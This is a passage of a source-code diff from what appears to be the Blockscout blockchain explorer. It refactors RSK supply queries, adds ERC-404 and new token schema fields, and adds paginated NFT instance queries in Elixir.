[integer_to_quantity: 1] alias EthereumJSONRPC.FetchedBalances @@ -16,40 +16,43 @@ defmodule Explorer.Chain.Supply.RSK do @cache_name :rsk_balance @balance_key :balance + @rsk_bridge_contract_address "0x0000000000000000000000000000000001000006" - def market_cap(%{usd_value: usd_value}) when not is_nil(usd_value) do + @spec market_cap(any()) :: Decimal.t() + def market_cap(%{fiat_value: fiat_value}) when not is_nil(fiat_value) do btc = circulating() - Decimal.mult(btc, usd_value) + Decimal.mult(btc, fiat_value) end def market_cap(_), do: Decimal.new(0) - @doc "Equivalent to getting the circulating value " + @doc "Equivalent to getting the circulating value" def supply_for_days(days) do now = Timex.now() - balances_query = + base_query = from(balance in CoinBalance, join: block in Block, on: block.number == balance.block_number, where: block.consensus == true, - where: balance.address_hash == ^"0x0000000000000000000000000000000001000006", - where: block.timestamp > ^Timex.shift(now, days: -days), - distinct: fragment("date_trunc('day', ?)", block.timestamp), - select: {block.timestamp, balance.value} + where: balance.address_hash == ^@rsk_bridge_contract_address, + select: %{timestamp: block.timestamp, value: balance.value} + ) + + balances_query = + from(q in subquery(base_query), + where: q.timestamp > ^Timex.shift(now, days: -days), + distinct: fragment("date_trunc('day', ?)", q.timestamp), + select: {q.timestamp, q.value} ) balance_before_query = - from(balance in CoinBalance, - join: block in Block, - on: block.number == balance.block_number, - where: block.consensus == true, - where: balance.address_hash == ^"0x0000000000000000000000000000000001000006", - where: block.timestamp <= ^Timex.shift(Timex.now(), days: -days), - order_by: [desc: block.timestamp], + from(q in subquery(base_query), + where: q.timestamp <= ^Timex.shift(Timex.now(), days: -days), + order_by: [desc: q.timestamp], limit: 1, - select: balance.value + select: q.value ) by_day = @@ -105,18 +108,18 @@ defmodule Explorer.Chain.Supply.RSK do max_number = BlockNumber.get_max() params = [ - %{block_quantity: integer_to_quantity(max_number), hash_data: "0x0000000000000000000000000000000001000006"} + %{block_quantity: integer_to_quantity(max_number), hash_data: @rsk_bridge_contract_address} ] - json_rpc_named_argumens = Application.get_env(:explorer, :json_rpc_named_arguments) + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - case EthereumJSONRPC.fetch_balances(params, json_rpc_named_argumens) do + case EthereumJSONRPC.fetch_balances(params, json_rpc_named_arguments, max_number) do {:ok, %FetchedBalances{ errors: [], params_list: [ %{ - address_hash: "0x0000000000000000000000000000000001000006", + address_hash: @rsk_bridge_contract_address, value: value } ] diff --git a/apps/explorer/lib/explorer/chain/token.ex b/apps/explorer/lib/explorer/chain/token.ex index 281de9cfea28..57e716584a5c 100644 --- a/apps/explorer/lib/explorer/chain/token.ex +++ b/apps/explorer/lib/explorer/chain/token.ex @@ -1,3 +1,60 @@ +defmodule Explorer.Chain.Token.Schema do + @moduledoc false + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:explorer, [Explorer.Chain.BridgedToken, :enabled]] + + alias Explorer.Chain.{Address, Address.Reputation, Hash} + + if @bridged_tokens_enabled do + @bridged_field [ + quote do + field(:bridged, :boolean) + end + ] + else + @bridged_field [] + end + + defmacro generate do + quote do + @primary_key false + typed_schema "tokens" do + field(:name, :string) + field(:symbol, :string) + field(:total_supply, :decimal) + field(:decimals, :decimal) + field(:type, :string, null: false) + field(:cataloged, :boolean) + field(:holder_count, :integer) + field(:skip_metadata, :boolean) + field(:total_supply_updated_at_block, :integer) + field(:metadata_updated_at, :utc_datetime_usec) + field(:fiat_value, :decimal) + field(:circulating_market_cap, :decimal) + field(:icon_url, :string) + field(:is_verified_via_admin_panel, :boolean) + field(:volume_24h, :decimal) + field(:transfer_count, :integer) + + belongs_to( + :contract_address, + Address, + foreign_key: :contract_address_hash, + primary_key: true, + references: :hash, + type: Hash.Address, + null: false + ) + + has_one(:reputation, Reputation, foreign_key: :address_hash, references: :contract_address_hash) + + unquote_splicing(@bridged_field) + + timestamps() + end + end + end +end + defmodule Explorer.Chain.Token do @moduledoc """ Represents a token. @@ -9,6 +66,7 @@ defmodule Explorer.Chain.Token do * ERC-20 * ERC-721 * ERC-1155 + * ERC-404 ## Token Specifications @@ -16,47 +74,42 @@ defmodule Explorer.Chain.Token do * [ERC-721](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md) * [ERC-777](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-777.md) * [ERC-1155](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md) + * [ERC-404](https://github.com/Pandora-Labs-Org/erc404) """ use Explorer.Schema + require Explorer.Chain.Token.Schema + import Ecto.{Changeset, Query} - alias Ecto.Changeset - alias Explorer.Chain.{Address, Hash, Token} + alias Ecto.{Changeset, Multi} + alias Explorer.{Chain, SortingHelper} + alias Explorer.Chain.{Address, BridgedToken, Hash, Search, Token} + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Import.Runner + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.Repo alias Explorer.SmartContract.Helper - @typedoc """ - * `name` - Name of the token - * `symbol` - Trading symbol of the token - * `total_supply` - The total supply of the token - * `decimals` - Number of decimal places the token can be subdivided to - * `type` - Type of token - * `calatoged` - Flag for if token information has been cataloged - * `contract_address` - The `t:Address.t/0` of the token's contract - * `contract_address_hash` - Address hash foreign key - * `holder_count` - the number of `t:Explorer.Chain.Address.t/0` (except the burn address) that have a - `t:Explorer.Chain.CurrentTokenBalance.t/0` `value > 0`. Can be `nil` when data not migrated. - """ - @type t :: %Token{ - name: String.t(), - symbol: String.t(), - total_supply: Decimal.t(), - decimals: non_neg_integer(), - type: String.t(), - cataloged: boolean(), - contract_address: %Ecto.Association.NotLoaded{} | Address.t(), - contract_address_hash: Hash.Address.t(), - holder_count: non_neg_integer() | nil, - skip_metadata: boolean() - } + # milliseconds + @timeout 60_000 + + @default_sorting [ + desc_nulls_last: :circulating_market_cap, + desc_nulls_last: :fiat_value, + desc_nulls_last: :holder_count, + asc: :name, + asc: :contract_address_hash + ] @derive {Poison.Encoder, except: [ :__meta__, :contract_address, :inserted_at, - :updated_at + :updated_at, + :metadata_updated_at ]} @derive {Jason.Encoder, @@ -64,41 +117,50 @@ defmodule Explorer.Chain.Token do :__meta__, :contract_address, :inserted_at, - :updated_at + :updated_at, + :metadata_updated_at ]} - @primary_key false - schema "tokens" do - field(:name, :string) - field(:symbol, :string) - field(:total_supply, :decimal) - field(:decimals, :decimal) - field(:type, :string) - field(:cataloged, :boolean) - field(:holder_count, :integer) - field(:skip_metadata, :boolean) - - belongs_to( - :contract_address, - Address, - foreign_key: :contract_address_hash, - primary_key: true, - references: :hash, - type: Hash.Address - ) - - timestamps() - end + @typedoc """ + * `name` - Name of the token + * `symbol` - Trading symbol of the token + * `total_supply` - The total supply of the token + * `decimals` - Number of decimal places the token can be subdivided to + * `type` - Type of token + * `cataloged` - Flag for if token information has been cataloged + * `contract_address` - The `t:Address.t/0` of the token's contract + * `contract_address_hash` - Address hash foreign key + * `holder_count` - the number of `t:Explorer.Chain.Address.t/0` (except the burn address) that have a + `t:Explorer.Chain.CurrentTokenBalance.t/0` `value > 0`. Can be `nil` when data not migrated. + * `transfer_count` - the number of token transfers for `t:Explorer.Chain.Address.t/0` token + * `fiat_value` - The price of a token in a configured currency (USD by default). + * `circulating_market_cap` - The circulating market cap of a token in a configured currency (USD by default). + * `icon_url` - URL of the token's icon. + * `is_verified_via_admin_panel` - is token verified via admin panel. + """ + Explorer.Chain.Token.Schema.generate() @required_attrs ~w(contract_address_hash type)a - @optional_attrs ~w(cataloged decimals name symbol total_supply skip_metadata)a + @optional_attrs ~w(cataloged decimals name symbol total_supply skip_metadata total_supply_updated_at_block metadata_updated_at updated_at fiat_value circulating_market_cap icon_url is_verified_via_admin_panel volume_24h)a + + @doc """ + Returns the **ordered** list of allowed NFT type labels. + """ + @spec allowed_nft_type_labels() :: [String.t()] + def allowed_nft_type_labels, + do: [ + "ERC-721", + "ERC-1155", + "ERC-404" + ] @doc false def changeset(%Token{} = token, params \\ %{}) do + additional_attrs = if BridgedToken.enabled?(), do: [:bridged], else: [] + token - |> cast(params, @required_attrs ++ @optional_attrs) + |> cast(params, @required_attrs ++ @optional_attrs ++ additional_attrs) |> validate_required(@required_attrs) - |> foreign_key_constraint(:contract_address) |> trim_name() |> sanitize_token_input(:name) |> sanitize_token_input(:symbol) @@ -122,14 +184,14 @@ defmodule Explorer.Chain.Token do changeset property -> - put_change(changeset, key, Helper.sanitize_input(property)) + put_change(changeset, key, Helper.escape_minimal(property)) end end @doc """ Builds an `Ecto.Query` to fetch the cataloged tokens. - These are tokens with cataloged field set to true and updated_at is earlier or equal than an hour ago. + These are tokens with cataloged field set to true, skip_metadata is not true and metadata_updated_at is earlier or equal than 48 hours ago. """ def cataloged_tokens(minutes \\ 2880) do date_now = DateTime.utc_now() @@ -137,8 +199,320 @@ defmodule Explorer.Chain.Token do from( token in __MODULE__, - select: token.contract_address_hash, - where: token.cataloged == true and token.updated_at <= ^some_time_ago_date + where: token.cataloged == true, + where: is_nil(token.metadata_updated_at) or token.metadata_updated_at <= ^some_time_ago_date, + where: is_nil(token.skip_metadata) or token.skip_metadata == false + ) + end + + @doc """ + Streams a list of tokens that have been cataloged for their metadata update. + """ + @spec stream_cataloged_tokens( + initial :: accumulator, + reducer :: (entry :: Token.t(), accumulator -> accumulator), + some_time_ago_updated :: integer(), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_cataloged_tokens(initial, reducer, some_time_ago_updated \\ 2880, limited? \\ false) + when is_function(reducer, 2) do + some_time_ago_updated + |> Token.cataloged_tokens() + |> Chain.add_fetcher_limit(limited?) + |> order_by(asc_nulls_first: :metadata_updated_at) + |> Repo.stream_reduce(initial, reducer) + end + + @doc """ + Update a new `t:Token.t/0` record. + + As part of updating token, an additional record is inserted for + naming the address for reference if a name is provided for a token. + """ + @spec update(Token.t(), map(), boolean(), :base | :metadata_update) :: {:ok, Token.t()} | {:error, Ecto.Changeset.t()} + def update( + %Token{contract_address_hash: address_hash} = token, + params \\ %{}, + info_from_admin_panel? \\ false, + operation_type \\ :base + ) do + params = + if Map.has_key?(params, :total_supply) do + Map.put(params, :total_supply_updated_at_block, BlockNumber.get_max()) + else + params + end + + filtered_params = for({key, value} <- params, value !== "" && !is_nil(value), do: {key, value}) |> Enum.into(%{}) + + token_changeset = + token + |> Token.changeset( + filtered_params + |> Map.put(:updated_at, DateTime.utc_now()) + ) + |> (&if(token.is_verified_via_admin_panel && !info_from_admin_panel?, + do: &1 |> Changeset.delete_change(:symbol) |> Changeset.delete_change(:name), + else: &1 + )).() + + address_name_changeset = + Address.Name.changeset(%Address.Name{}, Map.put(filtered_params, :address_hash, address_hash)) + + stale_error_field = :contract_address_hash + stale_error_message = "is up to date" + + on_conflict = + if operation_type == :metadata_update do + token_metadata_update_on_conflict() + else + Runner.Tokens.default_on_conflict() + end + + token_opts = [ + on_conflict: on_conflict, + conflict_target: :contract_address_hash, + stale_error_field: stale_error_field, + stale_error_message: stale_error_message + ] + + address_name_opts = [on_conflict: :nothing, conflict_target: [:address_hash, :name]] + + # Enforce ShareLocks tables order (see docs: sharelocks.md) + insert_result = + Multi.new() + |> Multi.run( + :address_name, + fn repo, _ -> + {:ok, repo.insert(address_name_changeset, address_name_opts)} + end + ) + |> Multi.run(:token, fn repo, _ -> + with {:error, %Changeset{errors: [{^stale_error_field, {^stale_error_message, [_]}}]}} <- + repo.update(token_changeset, token_opts) do + # the original token passed into `update/2` as stale error means it is unchanged + {:ok, token} + end + end) + |> Repo.transaction() + + case insert_result do + {:ok, %{token: token}} -> + {:ok, token} + + {:error, :token, changeset, _} -> + {:error, changeset} + end + end + + defp token_metadata_update_on_conflict do + from( + token in Token, + update: [ + set: [ + name: fragment("COALESCE(EXCLUDED.name, ?)", token.name), + symbol: fragment("COALESCE(EXCLUDED.symbol, ?)", token.symbol), + total_supply: fragment("COALESCE(EXCLUDED.total_supply, ?)", token.total_supply), + decimals: fragment("COALESCE(EXCLUDED.decimals, ?)", token.decimals), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token.updated_at), + metadata_updated_at: fragment("GREATEST(?, EXCLUDED.metadata_updated_at)", token.metadata_updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.name, EXCLUDED.symbol, EXCLUDED.total_supply, EXCLUDED.decimals) IS DISTINCT FROM (?, ?, ?, ?)", + token.name, + token.symbol, + token.total_supply, + token.decimals + ) ) end + + def tokens_by_contract_address_hashes(contract_address_hashes) do + from(token in __MODULE__, where: token.contract_address_hash in ^contract_address_hashes) + end + + def base_token_query(type, sorting) do + query = from(t in Token, preload: [:contract_address]) + + query |> apply_filter(type) |> SortingHelper.apply_sorting(sorting, @default_sorting) + end + + def default_sorting, do: @default_sorting + + @doc """ + Lists the top `t:__MODULE__.t/0`'s'. + """ + @spec list_top(String.t() | nil, [ + Chain.paging_options() + | {:sorting, SortingHelper.sorting_params()} + | {:token_type, [String.t()]} + | {:necessity_by_association, map()} + | Chain.show_scam_tokens?() + ]) :: [Token.t()] + def list_top(filter, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + token_type = Keyword.get(options, :token_type, nil) + sorting = Keyword.get(options, :sorting, []) + + necessity_by_association = + Keyword.get(options, :necessity_by_association, %{ + :contract_address => :optional + }) + + sorted_paginated_query = + Token + |> Chain.join_associations(necessity_by_association) + |> ExplorerHelper.maybe_hide_scam_addresses_with_select(:contract_address_hash, options) + |> apply_filter(token_type) + |> SortingHelper.apply_sorting(sorting, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting, @default_sorting) + + filtered_query = + case filter && filter !== "" && Search.prepare_search_term(filter) do + {:some, filter_term} -> + sorted_paginated_query + |> where(fragment("to_tsvector('english', symbol || ' ' || name) @@ to_tsquery(?)", ^filter_term)) + + _ -> + sorted_paginated_query + end + + filtered_query + |> Chain.select_repo(options).all() + end + + defp apply_filter(query, empty_type) when empty_type in [nil, []], do: query + + defp apply_filter(query, token_types) when is_list(token_types) do + from(t in query, where: t.type in ^token_types) + end + + def get_by_contract_address_hash(hash, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + __MODULE__ + |> where([t], t.contract_address_hash == ^hash) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).one() + end + + @doc """ + Gets tokens with given contract address hashes. + """ + @spec get_by_contract_address_hashes([Hash.Address.t()], [Chain.api?() | Chain.necessity_by_association_option()]) :: + [Token.t()] + def get_by_contract_address_hashes(hashes, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + __MODULE__ + |> where([t], t.contract_address_hash in ^hashes) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + + @doc """ + For usage in Indexer.Fetcher.TokenInstance.SanitizeERC721 + """ + @spec ordered_erc_721_token_address_hashes_list_query(integer(), Hash.Address.t() | nil) :: Ecto.Query.t() + def ordered_erc_721_token_address_hashes_list_query(limit, last_address_hash \\ nil) do + query = + __MODULE__ + |> order_by([token], asc: token.contract_address_hash) + |> where([token], token.type == "ERC-721") + |> limit(^limit) + |> select([token], token.contract_address_hash) + + (last_address_hash && where(query, [token], token.contract_address_hash > ^last_address_hash)) || query + end + + @doc """ + Updates token_holder_count for a given contract_address_hash. + It used by Explorer.Chain.Cache.Counters.TokenHoldersCount module. + """ + @spec update_token_holder_count(Hash.Address.t(), integer()) :: {non_neg_integer(), nil} + def update_token_holder_count(contract_address_hash, holders_count) when not is_nil(holders_count) do + now = DateTime.utc_now() + + Repo.update_all( + from(t in __MODULE__, + where: t.contract_address_hash == ^contract_address_hash, + update: [set: [holder_count: ^holders_count, updated_at: ^now]] + ), + [], + timeout: @timeout + ) + end + + @doc """ + Updates `transfer_count` field for a given `contract_address_hash`. + Used by the `Explorer.Chain.Cache.Counters.TokenTransfersCount` module. + + ## Parameters + - `contract_address_hash`: The address of the token contract. + - `transfer_count`: The updated counter value. + + ## Returns + - `{updated_count, nil}` tuple where `updated_count` is the number of updated rows in the db table. + """ + @spec update_token_transfer_count(Hash.Address.t(), non_neg_integer()) :: {non_neg_integer(), nil} + def update_token_transfer_count(contract_address_hash, transfer_count) when not is_nil(transfer_count) do + now = DateTime.utc_now() + + Repo.update_all( + from(t in __MODULE__, + where: t.contract_address_hash == ^contract_address_hash, + update: [set: [transfer_count: ^transfer_count, updated_at: ^now]] + ), + [], + timeout: @timeout + ) + end + + @doc """ + Drops token info for the given token: + Sets is_verified_via_admin_panel to false, icon_url to nil, symbol to nil, name to nil. + Don't forget to set/update token's symbol and name after this function. + """ + @spec drop_token_info(t()) :: {:ok, t()} | {:error, Changeset.t()} + def drop_token_info(token) do + token + |> Changeset.change(%{is_verified_via_admin_panel: false, icon_url: nil, symbol: nil, name: nil}) + |> Repo.update() + end + + @doc """ + Returns query for token by contract address hash + """ + @spec token_by_contract_address_hash_query(binary() | Hash.Address.t()) :: Ecto.Query.t() + def token_by_contract_address_hash_query(contract_address_hash) do + __MODULE__ + |> where([token], token.contract_address_hash == ^contract_address_hash) + end + + @doc """ + Checks if a token with the given contract address hash exists. + + ## Parameters + + - hash: The contract address hash to check for. + - options: Options to select the repository. + + ## Returns + + - `true` if a token with the given contract address hash exists. + - `false` otherwise. + """ + @spec by_contract_address_hash_exists?(Hash.Address.t() | String.t(), [Chain.api?()]) :: boolean() + def by_contract_address_hash_exists?(hash, options) do + query = + from( + t in __MODULE__, + where: t.contract_address_hash == ^hash + ) + + Chain.select_repo(options).exists?(query) + end end diff --git a/apps/explorer/lib/explorer/chain/token/instance.ex b/apps/explorer/lib/explorer/chain/token/instance.ex index 005ee3a2c08c..278bb2ec6ee0 100644 --- a/apps/explorer/lib/explorer/chain/token/instance.ex +++ b/apps/explorer/lib/explorer/chain/token/instance.ex @@ -1,32 +1,60 @@ defmodule Explorer.Chain.Token.Instance do @moduledoc """ - Represents an ERC 721 token instance and stores metadata defined in https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. + Represents an ERC-721/ERC-1155/ERC-404 token instance and stores metadata defined in https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. """ use Explorer.Schema - alias Explorer.Chain.{Hash, Token} - alias Explorer.Chain.Token.Instance + alias Explorer.{Chain, Helper, QueryHelper, Repo} + alias Explorer.Chain.{Address, Hash, Token, TokenTransfer, Transaction} + alias Explorer.Chain.Address.{CurrentTokenBalance, Reputation} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Chain.Token.Instance.Thumbnails + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.PagingOptions + + @default_page_size 50 + @default_paging_options %PagingOptions{page_size: @default_page_size} + @type paging_options :: {:paging_options, PagingOptions.t()} + @timeout 60_000 + + @type api? :: {:api?, true | false} + + @marked_to_refetch ":marked_to_refetch" @typedoc """ * `token_id` - ID of the token * `token_contract_address_hash` - Address hash foreign key * `metadata` - Token instance metadata * `error` - error fetching token instance + * `refetch_after` - when to refetch the token instance + * `retries_count` - number of times the token instance has been retried + * `is_banned` - if the token instance is banned + * `thumbnails` - info for deriving thumbnails urls. Stored as array: [file_path, sizes, original_uploaded?] + * `media_type` - mime type of media + * `cdn_upload_error` - error while processing(resizing)/uploading media to CDN + * `metadata_url` - URL where metadata is fetched from + * `skip_metadata_url` - bool flag indicating if metadata_url intentionally skipped """ - - @type t :: %Instance{ - token_id: non_neg_integer(), - token_contract_address_hash: Hash.Address.t(), - metadata: map() | nil, - error: String.t() - } - @primary_key false - schema "token_instances" do - field(:token_id, :decimal, primary_key: true) + typed_schema "token_instances" do + field(:token_id, :decimal, primary_key: true, null: false) field(:metadata, :map) field(:error, :string) + field(:owner_updated_at_block, :integer) + field(:owner_updated_at_log_index, :integer) + field(:current_token_balance, :any, virtual: true) + field(:is_unique, :boolean, virtual: true) + field(:refetch_after, :utc_datetime_usec) + field(:retries_count, :integer) + field(:is_banned, :boolean, default: false) + field(:thumbnails, Thumbnails) + field(:media_type, :string) + field(:cdn_upload_error, :string) + field(:metadata_url, :string) + field(:skip_metadata_url, :boolean) + + belongs_to(:owner, Address, foreign_key: :owner_address_hash, references: :hash, type: Hash.Address) belongs_to( :token, @@ -34,16 +62,1247 @@ defmodule Explorer.Chain.Token.Instance do foreign_key: :token_contract_address_hash, references: :contract_address_hash, type: Hash.Address, - primary_key: true + primary_key: true, + null: false ) timestamps() end - def changeset(%Instance{} = instance, params \\ %{}) do + def changeset(%__MODULE__{} = instance, params \\ %{}) do instance - |> cast(params, [:token_id, :metadata, :token_contract_address_hash, :error]) + |> cast(params, [ + :token_id, + :metadata, + :token_contract_address_hash, + :error, + :owner_address_hash, + :owner_updated_at_block, + :owner_updated_at_log_index, + :refetch_after, + :retries_count, + :is_banned, + :thumbnails, + :media_type, + :cdn_upload_error, + :metadata_url, + :skip_metadata_url + ]) |> validate_required([:token_id, :token_contract_address_hash]) |> foreign_key_constraint(:token_contract_address_hash) end + + @doc """ + Inventory tab query. + A token ERC-721 is considered unique because it corresponds to the possession + of a specific asset. + + To find out its current owner, it is necessary to look at the token last + transfer. + """ + @spec address_to_unique_token_instances_query(Hash.Address.t()) :: Ecto.Query.t() + def address_to_unique_token_instances_query(contract_address_hash) do + from( + i in __MODULE__, + where: i.token_contract_address_hash == ^contract_address_hash, + order_by: [desc: i.token_id] + ) + end + + def page_token_instance(query, %PagingOptions{key: {token_id}, asc_order: true}) do + where(query, [i], i.token_id > ^token_id) + end + + def page_token_instance(query, %PagingOptions{key: {token_id}}) do + where(query, [i], i.token_id < ^token_id) + end + + def page_token_instance(query, _), do: query + + def owner_query(%__MODULE__{token_contract_address_hash: token_contract_address_hash, token_id: token_id}) do + CurrentTokenBalance + |> where( + [ctb], + ctb.token_contract_address_hash == ^token_contract_address_hash and ctb.token_id == ^token_id and ctb.value > 0 + ) + |> limit(1) + |> select([ctb], ctb.address_hash) + end + + @spec token_instance_query(Decimal.t() | non_neg_integer(), Hash.Address.t()) :: Ecto.Query.t() + def token_instance_query(token_id, token_contract_address), + do: + from(i in __MODULE__, where: i.token_contract_address_hash == ^token_contract_address and i.token_id == ^token_id) + + @spec page_nft_list( + binary() | Hash.Address.t(), + keyword(), + (PagingOptions.t() -> String.t() | nil), + %{ + String.t() => (binary() + | Hash.Address.t(), + keyword() -> + [any()]) + } + ) :: [any()] + defp page_nft_list(address_hash, options, get_type, type_to_fetch_func) when is_list(options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + page_size = paging_options.page_size + remaining_types = remaining_token_types(options, get_type) + + {acc, _filled} = + Enum.reduce_while(remaining_types, {[], 0}, fn type, {list, count} -> + options = + if Enum.empty?(list) do + options + else + Keyword.put(options, :paging_options, %PagingOptions{ + page_size: page_size - count + }) + end + + fetch = Map.get(type_to_fetch_func, type, fn _, _ -> [] end) + fetched = fetch.(address_hash, options) + new_list = list ++ fetched + new_count = count + length(fetched) + + if new_count >= page_size do + {:halt, {Enum.take(new_list, page_size), page_size}} + else + {:cont, {new_list, new_count}} + end + end) + + acc + end + + @spec remaining_token_types(keyword(), (PagingOptions.t() -> String.t() | nil)) :: [String.t()] + defp remaining_token_types(options, get_type) do + token_types = + options + |> Keyword.get(:token_type, []) + |> then(fn types -> + if Enum.empty?(types) do + Token.allowed_nft_type_labels() + else + Token.allowed_nft_type_labels() |> Enum.filter(&(&1 in types)) + end + end) + + options + |> Keyword.get(:paging_options, Chain.default_paging_options()) + |> get_type.() + |> case do + type when is_binary(type) -> + Enum.drop_while(token_types, &(&1 != type)) + + _ -> + token_types + end + end + + @doc """ + Paginated NFT instances owned by an address. + + ## Notes + * Filter: `:token_type` list (empty or omitted = all). + * Pagination key: `{token_contract_address_hash, token_id, token_type}`. + * Resumes at the key's type; earlier types skipped. + * Fills one page sequentially across types; spillover allowed. + + ## Params + * `address_hash` - owner address (binary or `Hash.Address`). + * `options` (keyword): + - `:paging_options` (%PagingOptions{}; default `Chain.default_paging_options/0`). + - `:token_type` (list of labels) filter. + - `:necessity_by_association` pass-through for joins. + + ## Returns + * list (<= page_size) of `%Explorer.Chain.Token.Instance{}`; empty list if none. + """ + @spec nft_list(binary() | Hash.Address.t(), keyword()) :: [__MODULE__.t()] + def nft_list(address_hash, options) when is_list(options) do + page_nft_list( + address_hash, + options, + fn + %PagingOptions{key: {_, _, type}} -> type + _ -> nil + end, + %{ + "ERC-721" => &erc_721_token_instances_by_owner_address_hash/2, + "ERC-1155" => &erc_1155_token_instances_by_address_hash/2, + "ERC-404" => &erc_404_token_instances_by_address_hash/2 + } + ) + end + + @doc """ + In this function used fact that only ERC-721 instances has NOT NULL owner_address_hash. + """ + @spec erc_721_token_instances_by_owner_address_hash(binary() | Hash.Address.t(), keyword) :: [__MODULE__.t()] + def erc_721_token_instances_by_owner_address_hash(address_hash, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}, asc_order: false} -> + [] + + _ -> + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + __MODULE__ + |> where([ti], ti.owner_address_hash == ^address_hash) + |> order_by([ti], asc: ti.token_contract_address_hash, desc: ti.token_id) + |> limit(^paging_options.page_size) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_erc_721_token_instances(paging_options) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + end + + defp page_erc_721_token_instances(query, %PagingOptions{key: {contract_address_hash, token_id, "ERC-721"}}) do + page_token_instance(query, contract_address_hash, token_id) + end + + defp page_erc_721_token_instances(query, _), do: query + + @spec erc_1155_token_instances_by_address_hash(binary() | Hash.Address.t(), keyword) :: [__MODULE__.t()] + def erc_1155_token_instances_by_address_hash(address_hash, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}, asc_order: false} -> + [] + + _ -> + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + __MODULE__ + |> join(:inner, [ti], ctb in CurrentTokenBalance, + as: :ctb, + on: + ctb.token_contract_address_hash == ti.token_contract_address_hash and ctb.token_id == ti.token_id and + ctb.address_hash == ^address_hash + ) + |> where([ctb: ctb], ctb.value > 0 and ctb.token_type == "ERC-1155") + |> order_by([ti], asc: ti.token_contract_address_hash, desc: ti.token_id) + |> limit(^paging_options.page_size) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_erc_1155_token_instances(paging_options) + |> select_merge([ctb: ctb], %{current_token_balance: ctb}) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + end + + defp page_erc_1155_token_instances(query, %PagingOptions{key: {contract_address_hash, token_id, "ERC-1155"}}) do + page_token_instance(query, contract_address_hash, token_id) + end + + defp page_erc_1155_token_instances(query, _), do: query + + @spec erc_404_token_instances_by_address_hash(binary() | Hash.Address.t(), keyword) :: [__MODULE__.t()] + def erc_404_token_instances_by_address_hash(address_hash, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}, asc_order: false} -> + [] + + _ -> + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + __MODULE__ + |> join(:inner, [ti], ctb in CurrentTokenBalance, + as: :ctb, + on: + ctb.token_contract_address_hash == ti.token_contract_address_hash and ctb.token_id == ti.token_id and + ctb.address_hash == ^address_hash + ) + |> where([ctb: ctb], ctb.value > 0 and ctb.token_type == "ERC-404") + |> order_by([ti], asc: ti.token_contract_address_hash, desc: ti.token_id) + |> limit(^paging_options.page_size) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_erc_404_token_instances(paging_options) + |> select_merge([ctb: ctb], %{current_token_balance: ctb}) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + end + + defp page_erc_404_token_instances(query, %PagingOptions{key: {contract_address_hash, token_id, "ERC-404"}}) do + page_token_instance(query, contract_address_hash, token_id) + end + + defp page_erc_404_token_instances(query, _), do: query + + defp page_token_instance(query, contract_address_hash, token_id) do + query + |> where( + [ti], + ti.token_contract_address_hash > ^contract_address_hash or + (ti.token_contract_address_hash == ^contract_address_hash and ti.token_id < ^token_id) + ) + end + + @doc """ + Function to be used in BlockScoutWeb.Chain.next_page_params/4 + """ + @spec nft_list_next_page_params(__MODULE__.t()) :: %{atom() => any} + def nft_list_next_page_params(%__MODULE__{ + current_token_balance: %CurrentTokenBalance{}, + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + token: token + }) do + %{token_contract_address_hash: token_contract_address_hash, token_id: token_id, token_type: token.type} + end + + def nft_list_next_page_params(%__MODULE__{ + token_contract_address_hash: token_contract_address_hash, + token_id: token_id + }) do + %{token_contract_address_hash: token_contract_address_hash, token_id: token_id, token_type: "ERC-721"} + end + + @preloaded_nfts_limit 9 + + @spec nft_collections(binary() | Hash.Address.t(), keyword()) :: [CurrentTokenBalance.t()] + def nft_collections(address_hash, options) when is_list(options) do + page_nft_list( + address_hash, + options, + fn + %PagingOptions{key: {_, type}} -> type + _ -> nil + end, + %{ + "ERC-721" => &erc_721_collections_by_address_hash/2, + "ERC-1155" => &erc_1155_collections_by_address_hash/2, + "ERC-404" => &erc_404_collections_by_address_hash/2 + } + ) + end + + @spec erc_721_collections_by_address_hash(binary() | Hash.Address.t(), keyword) :: [CurrentTokenBalance.t()] + def erc_721_collections_by_address_hash(address_hash, options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + CurrentTokenBalance + |> where([ctb], ctb.address_hash == ^address_hash and ctb.value > 0 and ctb.token_type == "ERC-721") + |> 